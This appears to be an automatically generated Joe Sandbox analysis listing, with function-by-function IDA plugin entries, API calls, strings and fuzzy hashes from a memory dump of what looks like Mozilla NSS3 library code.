Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 96c2b5d4fb11188a6194a8e863f1823fc792b2e115a40f67cc3e07dd8b02abfe
Instruction ID: 0f63b04487994cd9bc6ef018173996912f6e5964ba9985d299f262e2baecce55
Opcode Fuzzy Hash: 96c2b5d4fb11188a6194a8e863f1823fc792b2e115a40f67cc3e07dd8b02abfe
Instruction Fuzzy Hash: 3C315731A042558BC700EF29CCD4AABBBE2AF41314B098954EE9A1BAC1D338EC15C7D1

Function 6C616DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C616E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C616E57

Part of subcall function 6C64C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C64C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C616E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C616EAA

Strings

nkl, xrefs: 6C616DF9

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nkl
API String ID: 3163584228-1663185687
Opcode ID: 2c59c3d2dd61b8508c2788cfab1112bed4642bb5f1b6bc5eb9190b46a547c955
Instruction ID: 53302a4f2651789e1aa30105fa5bf962da70c0b834b33d557874e74ad307b530
Opcode Fuzzy Hash: 2c59c3d2dd61b8508c2788cfab1112bed4642bb5f1b6bc5eb9190b46a547c955
Instruction Fuzzy Hash: 7D31A07A61C612EEDB141F38C804396BBA4EB0231BF14473CD89AD6E40EB31E555CB89

Function 6C5A1EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C5A4C64,?,-00000004), ref: 6C5A1EE2

Part of subcall function 6C601820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C5A1D97,?,?), ref: 6C601836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A4C64,?,-00000004), ref: 6C5A1F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A4C64,?,-00000004), ref: 6C5A1F37
DER_DecodeTimeChoice_Util.NSS3(?,dLZl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5A4C64,?,-00000004), ref: 6C5A1F53

Strings

dLZl, xrefs: 6C5A1F2B, 6C5A1F51

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLZl
API String ID: 3216063065-3905966913
Opcode ID: 94e797969a49bc842c89776170e7a2f3e5f664de508fd9b14976fb35da99e37d
Instruction ID: bc0eeb06e0073cc1090dc6a6575595d778be5a92878e9b33973db079c776c616
Opcode Fuzzy Hash: 94e797969a49bc842c89776170e7a2f3e5f664de508fd9b14976fb35da99e37d
Instruction Fuzzy Hash: 9F218371504245EBC700CF66DD00A9B77E9AB89659F000929E854D3A40F330EA19C7A6

Function 6C590DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C590BDE), ref: 6C590DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C590BDE), ref: 6C590DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C590BDE), ref: 6C590DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C590BDE), ref: 6C590E32

Strings

%s incr => %d (find lib), xrefs: 6C590E2D

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2d796d744ce34cf35ee190b5c23aa299f00306cedecff8cb0bdaad57cebc36f2
Instruction ID: 9db72e22e582cad7d01ca0a2ac5624761241967d030c46a04b3c1eee8f8f6bb7
Opcode Fuzzy Hash: 2d796d744ce34cf35ee190b5c23aa299f00306cedecff8cb0bdaad57cebc36f2
Instruction Fuzzy Hash: 42012872B003509FE7209F249C45E1773BCDB89608B0448BEE905D7741E762FC1887E5

Function 6C5D1CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C5D1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C5D1CF1

Part of subcall function 6C6B09D0: PR_Now.NSS3 ref: 6C6B0A22
Part of subcall function 6C6B09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6B0A35
Part of subcall function 6C6B09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6B0A66
Part of subcall function 6C6B09D0: PR_GetCurrentThread.NSS3 ref: 6C6B0A70
Part of subcall function 6C6B09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6B0A9D
Part of subcall function 6C6B09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6B0AC8
Part of subcall function 6C6B09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6B0AE8
Part of subcall function 6C6B09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6B0B19
Part of subcall function 6C6B09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6B0B48
Part of subcall function 6C6B09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6B0C76
Part of subcall function 6C6B09D0: PR_LogFlush.NSS3 ref: 6C6B0C7E

Strings

pInitArgs = 0x%p, xrefs: 6C5D1CEC
C_Initialize, xrefs: 6C5D1CD3
nkl, xrefs: 6C5D1D09, 6C5D1D30

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nkl
API String ID: 1907330108-2703718790
Opcode ID: 6d68bde7d0081168be7901f9d5b6a938a067e6789e586d9003b1015084de75f4
Instruction ID: b206d2ef4a6c115ee050a640e0ea56f4a0b972040cb9a2eb844a434bd96d9b1e
Opcode Fuzzy Hash: 6d68bde7d0081168be7901f9d5b6a938a067e6789e586d9003b1015084de75f4
Instruction Fuzzy Hash: E1018CB6301284DFDB00AF68DD49B5637B5ABC637AF0A4439E409D3611DF30E849CB96

Function 6C64AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]cl,00000000,?,?,6C626AC6,?), ref: 6C64AC2D

Part of subcall function 6C5EADC0: TlsGetValue.KERNEL32(?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE10
Part of subcall function 6C5EADC0: EnterCriticalSection.KERNEL32(?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE24
Part of subcall function 6C5EADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C5CD079,00000000,00000001), ref: 6C5EAE5A
Part of subcall function 6C5EADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE6F
Part of subcall function 6C5EADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAE7F
Part of subcall function 6C5EADC0: TlsGetValue.KERNEL32(?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAEB1
Part of subcall function 6C5EADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C5CCDBB,?,6C5CD079,00000000,00000001), ref: 6C5EAEC9

PK11_FreeSymKey.NSS3(?,@]cl,00000000,?,?,6C626AC6,?), ref: 6C64AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]cl,00000000,?,?,6C626AC6,?), ref: 6C64AC59
free.MOZGLUE(8CB6FF01,6C626AC6,?,?,?,?,?,?,?,?,?,?,6C635D40,00000000,?,6C63AAD4), ref: 6C64AC62

Strings

@]cl, xrefs: 6C64AC05

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]cl
API String ID: 1595327144-3571462101
Opcode ID: c09de5e320b13dc9dadb510e6b3ce113994b6161d42b8c91490edef823786580
Instruction ID: 9b34317fe4d34a89351518eff80673d40777fe459f83d8b11cc0f079269311bb
Opcode Fuzzy Hash: c09de5e320b13dc9dadb510e6b3ce113994b6161d42b8c91490edef823786580
Instruction Fuzzy Hash: 01012CB5600204ABDB10DF25E9C0B567BA8AB44758F18C068E9498FB06D731E854CBA5

Function 6C539C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C539CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C539D45
EnterCriticalSection.KERNEL32(?), ref: 6C539D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C539DDE

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5789a2dd2b7caa4c81c14442ba8ef88c88b5f70a1c048583c33993b411ccb92b
Instruction ID: 8437df01a6a6f763d8fa1477b8eed961159ef980e1fe7d43551a3428484b7b39
Opcode Fuzzy Hash: 5789a2dd2b7caa4c81c14442ba8ef88c88b5f70a1c048583c33993b411ccb92b
Instruction Fuzzy Hash: 67A1AEB17041108BEB09DF25EC89B6E3B72BB93318F18152DE41A87A40EF399845DB96

Function 6C5C1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C5C1ECC

Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690AB
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C6690C9
Part of subcall function 6C669090: EnterCriticalSection.KERNEL32 ref: 6C6690E5
Part of subcall function 6C669090: TlsGetValue.KERNEL32 ref: 6C669116
Part of subcall function 6C669090: LeaveCriticalSection.KERNEL32 ref: 6C66913F

TlsGetValue.KERNEL32 ref: 6C5C1EDF
EnterCriticalSection.KERNEL32(?), ref: 6C5C1EEF
PR_ExitMonitor.NSS3(?), ref: 6C5C1F37
PR_Unlock.NSS3(?), ref: 6C5C1F44

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 0b6064993f5442886ded65b38be4783812594991dc6667738fe708ecf276d99a
Instruction ID: 7b05cba667eece2f471de54c04da9f1cbd4a4ea4eff42b986db51a0bee827644
Opcode Fuzzy Hash: 0b6064993f5442886ded65b38be4783812594991dc6667738fe708ecf276d99a
Instruction Fuzzy Hash: 26718AB5A043019FD700CF65DC40A5BBBF1BF89358F14492DE89993A21E731E958CBA3

Function 6C64DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C64DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C64DE77

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 30391e5a4dfa781e757943f246367fbab968566002d0009e076694ff8dad5b11
Instruction ID: 3bf72d44aed04855442c7ef4df9d82ce57ed3ebb61e156f3ccf6deb61632be4b
Opcode Fuzzy Hash: 30391e5a4dfa781e757943f246367fbab968566002d0009e076694ff8dad5b11
Instruction Fuzzy Hash: 84716571E00314CBDB20CF9AC5C0A89B7B5BF8A718F25C16DD9596B742DB30A906CF84

Function 6C5BDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C5BAB10: DeleteCriticalSection.KERNEL32(D958E852,6C5C1397,5B5F5EC0,?,?,6C5BB1EE,2404110F,?,?), ref: 6C5BAB3C
Part of subcall function 6C5BAB10: free.MOZGLUE(D958E836,?,6C5BB1EE,2404110F,?,?), ref: 6C5BAB49
Part of subcall function 6C5BAB10: DeleteCriticalSection.KERNEL32(5D5E6C7B), ref: 6C5BAB5C
Part of subcall function 6C5BAB10: free.MOZGLUE(5D5E6C6F), ref: 6C5BAB63
Part of subcall function 6C5BAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C5BAB6F
Part of subcall function 6C5BAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C5BAB76

TlsGetValue.KERNEL32(?,?,6C5BB266,6C5C15C6,?,?,6C5C15C6), ref: 6C5BDFDA
EnterCriticalSection.KERNEL32(?,?,?,6C5BB266,6C5C15C6,?,?,6C5C15C6), ref: 6C5BDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C5BB266,6C5C15C6,?,?,6C5C15C6), ref: 6C5BE029
PK11_IsLoggedIn.NSS3 ref: 6C5BE046

Part of subcall function 6C5C8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C8FAF
Part of subcall function 6C5C8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C8FD1
Part of subcall function 6C5C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C8FFA
Part of subcall function 6C5C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5C9013
Part of subcall function 6C5C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5C9042
Part of subcall function 6C5C8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C5C905A
Part of subcall function 6C5C8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C5C9073
Part of subcall function 6C5C8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5BDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C5C9111

PR_Unlock.NSS3(?,?,?,?,6C5BB266,6C5C15C6,?,?,6C5C15C6), ref: 6C5BE149

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: da62b8cdb793756547dd1fbfdaaabba1a145ac6bb58e256473e8d7d57a187c4d
Instruction ID: 96cd464856c6c61d464014ad360719479779d66dfb70f6ecd5c8a7872d0c5322
Opcode Fuzzy Hash: da62b8cdb793756547dd1fbfdaaabba1a145ac6bb58e256473e8d7d57a187c4d
Instruction Fuzzy Hash: 8A517A74600605CFDB10DF29C8A476ABBF1FF84309F1988ACD899AB741D775E885CB82

Function 6C5CBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C5CBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5CBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5A9F71,?,?,00000000), ref: 6C5CBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C5CBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C5CC014

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 8aa98edbc51640dc3b0935e2d826cff68f3d075710f9772f9fef96fef7693539
Instruction ID: b80a1077d460f7820cdf43f80c55fc5af7966a537a3c88439e57d45c9a560be6
Opcode Fuzzy Hash: 8aa98edbc51640dc3b0935e2d826cff68f3d075710f9772f9fef96fef7693539
Instruction Fuzzy Hash: FD41B475B012059BEB00DEA6CC40BBE77B9AF85248F15412CE919E7B41FB31E945CBE2

Function 6C59EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C59EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C59EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C59EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C59EEEB
free.MOZGLUE(?), ref: 6C59EEF6

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 390e4d8adf75fc8d10fae67e71e290060d5cd397c559c37b47fc217dc5f98bab
Instruction ID: 6fd23d3d70196a9cbeaf145f8cf79f16233cdadc123f6297f9af6adb2e870885
Opcode Fuzzy Hash: 390e4d8adf75fc8d10fae67e71e290060d5cd397c559c37b47fc217dc5f98bab
Instruction Fuzzy Hash: DE313AB1A00280ABEB209F2DCC44B667BF4FB46314F1409BDE95A87B50DB71E814CBD5

Function 6C5B1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5B1F1C

Part of subcall function 6C600FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5A87ED,00000800,6C59EF74,00000000), ref: 6C601000
Part of subcall function 6C600FF0: PR_NewLock.NSS3(?,00000800,6C59EF74,00000000), ref: 6C601016
Part of subcall function 6C600FF0: PL_InitArenaPool.NSS3(00000000,security,6C5A87ED,00000008,?,00000800,6C59EF74,00000000), ref: 6C60102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C6C9EBC), ref: 6C5B1FB8
SEC_ASN1EncodeItem_Util.NSS3(6C6C9E9C,?,?,6C6C9E9C), ref: 6C5B200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C5B2020

Part of subcall function 6C5A6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C5AAD50,?,?), ref: 6C5A6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5B2030

Memory Dump Source

Source File: 00000000.00000002.2153967496.000000006C521000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2153947876.000000006C520000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154121273.000000006C6BF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154172441.000000006C6FE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154199062.000000006C6FF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154225792.000000006C700000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2154253476.000000006C705000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 61798339646780c62c1fb2326b7b57553216e51e720878204763695422a7864c
Instruction ID: 8498682ead4a34a4bae9421bf3ffcdd61b1a0ac2b04ed7a37ce1df5485fa3b06
